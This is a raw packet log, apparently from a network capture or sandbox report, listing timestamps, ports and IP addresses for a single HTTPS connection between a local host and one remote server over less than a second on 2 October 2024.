Oct 2, 2024 06:11:35.259176016 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.259182930 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.259239912 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.259507895 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.259529114 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.259586096 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.259593010 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.259635925 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.260185957 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.260200977 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.260250092 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.260257959 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.260310888 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.260421038 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.260435104 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.260493040 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.260499954 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.260529041 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.260549068 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.261173964 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.261188984 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.261234045 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.261240005 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.261276960 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.261347055 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.304867029 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.304887056 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.304934978 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.304964066 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.304981947 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.305026054 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.348951101 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.348968029 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.349011898 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.349025011 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.349071980 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.349457026 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.349472046 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.349528074 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.349535942 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.349582911 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.349890947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.349920988 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.349951029 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.349957943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.349997044 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.350013971 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.350346088 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.350367069 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.350425959 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.350435019 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.350483894 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.350910902 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.350927114 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.350965977 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.350971937 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.350987911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.351000071 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.351013899 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.351022005 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.351028919 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.351053953 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.351088047 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.351660013 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.351674080 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.351728916 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.351737976 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.351778030 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.395458937 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.395474911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.395529985 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.395538092 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.395581007 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.439714909 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.439733028 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.439794064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.439815044 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.439904928 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.440156937 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.440171957 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.440228939 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.440237045 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.440279961 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.440659046 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.440674067 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.440741062 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.440747023 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.440792084 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.440933943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.440951109 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.440998077 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.441004992 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.441051006 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.441355944 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.441371918 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.441412926 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.441418886 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.441451073 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.441468000 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.441953897 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.441968918 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.442022085 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.442028999 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.442074060 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.442565918 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.442595959 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.442626953 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.442632914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.442673922 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.442694902 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.486279011 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.486298084 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.486373901 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.486386061 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.486442089 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.530291080 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.530308008 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.530354977 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.530369997 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.530384064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.530415058 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.530802965 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.530817032 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.530873060 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.530879974 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.530941963 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.531218052 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.531249046 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.531290054 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.531296968 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.531328917 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.531339884 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.531616926 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.531635046 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.531692982 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.531699896 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.531825066 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.532274961 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.532294035 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.532336950 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.532344103 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.532377005 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.532392025 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.532774925 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.532790899 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.532830954 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.532836914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.532870054 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.532888889 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.533205032 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.533219099 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.533263922 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.533269882 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.533305883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.533315897 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.576899052 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.576915979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.577006102 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.577043056 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.577049017 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.577102900 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.620987892 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.621007919 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.621053934 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.621063948 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.621094942 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.621114969 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.621469021 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.621484995 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.621519089 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.621525049 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.621556997 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.621582031 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.621835947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.621850967 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.621922016 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.621928930 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.622000933 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.622273922 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.622288942 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.622325897 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.622333050 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.622365952 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.622387886 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.622910976 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.622925997 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.622962952 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.622968912 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.622997046 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.623013973 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.623364925 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.623379946 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.623420954 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.623428106 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.623459101 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.623476982 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.623855114 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.623869896 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.623927116 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.623934031 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.624222994 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.633821011 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.667576075 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.667593956 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.667644024 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.667653084 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.667685986 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.667695045 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.711628914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.711648941 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.711705923 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.711714983 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.711729050 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.711755037 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.712361097 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.712382078 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.712419033 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.712425947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.712454081 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.712476969 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.712814093 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.712830067 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.712883949 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.712892056 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.712950945 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.713185072 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.713200092 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.713239908 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.713244915 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.713274002 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.713299036 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.713546991 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.713562965 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.713613987 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.713620901 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.713689089 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.714001894 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.714016914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.714077950 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.714085102 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.714247942 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.714266062 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.714298964 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.714308023 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.714332104 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.714365005 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.758357048 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.758377075 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.758477926 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.758485079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.758558035 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.802551985 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.802588940 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.802634954 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.802640915 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.802675009 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.802694082 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.803450108 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.803467989 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.803519964 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.803525925 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.803693056 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.804234028 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.804256916 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.804294109 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.804299116 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.804353952 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.804514885 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.804532051 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.804577112 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.804582119 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.804641008 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.804641008 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.805325985 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.805341959 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.805392027 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.805392981 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.805402994 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.805434942 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.805454016 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.805459023 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.805489063 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.805516958 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.806021929 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.806036949 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.806088924 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.806094885 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.806143045 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.849215984 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.849235058 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.849297047 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.849306107 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.849348068 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.849371910 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.893121958 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.893146992 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.893207073 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.893213987 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.893260956 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.894023895 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.894042969 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.894084930 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.894090891 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.894125938 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.894155979 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.894808054 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.894823074 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.894879103 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.894886971 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.894934893 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.895276070 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.895303965 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.895334005 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.895339012 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.895387888 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.895392895 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.895803928 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.895819902 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.895874977 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.895879984 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.895901918 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.895920992 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.896109104 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.896127939 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.896186113 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.896193027 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.896393061 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.896733999 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.896750927 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.896802902 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.896809101 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:35.896878004 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:35.939874887 CEST	443	49723	167.114.14.168	192.168.2.8
